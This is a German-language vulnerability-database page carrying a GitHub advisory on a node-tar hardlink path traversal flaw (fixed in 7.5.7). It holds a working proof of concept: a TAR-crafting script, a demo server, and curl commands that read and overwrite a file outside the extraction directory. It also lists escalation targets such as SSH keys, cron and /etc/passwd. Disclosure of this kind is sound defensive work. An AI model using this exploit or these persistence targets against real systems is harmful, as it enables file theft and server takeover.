Hoch

node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

  • Veröffentlicht: 28.01.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

js
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

js
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

js
{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

js
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

js
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket tar < 7.5.7 7.5.7

Verweise

CVSS-Wert 8.2/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Schwäche (CWE)
CWE-22, CWE-59
Plattform
npm
Paket
tar
Veröffentlicht
28.01.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-34x7-hfp2-rc4v - CC BY 4.0

Schwachstellenhistorie: tar

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (21) im Archiv
Einträge insgesamt
21
Erste → letzte
10.2017 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 15
  • Mittel 5

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 0
  5. 2021: 5
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 12
Schweregrad:
  1. Kritisch · 7.5 CVE-2026-59873 < 7.5.19 7.5.19
  2. node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal dieser Eintrag
    Hoch · 8.2 CVE-2026-24842 < 7.5.7 7.5.7
  3. Hoch · 8.2 CVE-2021-37701 >= 3.0.0, < 4.4.16, >= 5.0.0, < 5.0.8, >= 6.0.0, < 6.1.7 4.4.16, 5.0.8, 6.1.7
  4. Hoch · 8.2 CVE-2021-37712 >= 3.0.0, < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  5. Hoch · 8.2 CVE-2021-37713 < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  6. Hoch · 8.2 CVE-2021-32804 < 3.2.2, >= 4.0.0, < 4.4.14, >= 5.0.0, < 5.0.6, >= 6.0.0, < 6.1.1 3.2.2, 4.4.14, 5.0.6, 6.1.1
  7. Hoch · 8.2 CVE-2021-32803 >= 3.0.0, < 3.2.3, >= 4.0.0, < 4.4.15, >= 5.0.0, < 5.0.7, >= 6.0.0, < 6.1.2 3.2.3, 4.4.15, 5.0.7, 6.1.2
  8. Hoch · 7.5 CVE-2018-20834 >= 3.0.0, < 4.4.2, < 2.2.2 4.4.2, 2.2.2
  9. Hoch · 7.5 CVE-2015-8860 < 2.0.0 2.0.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.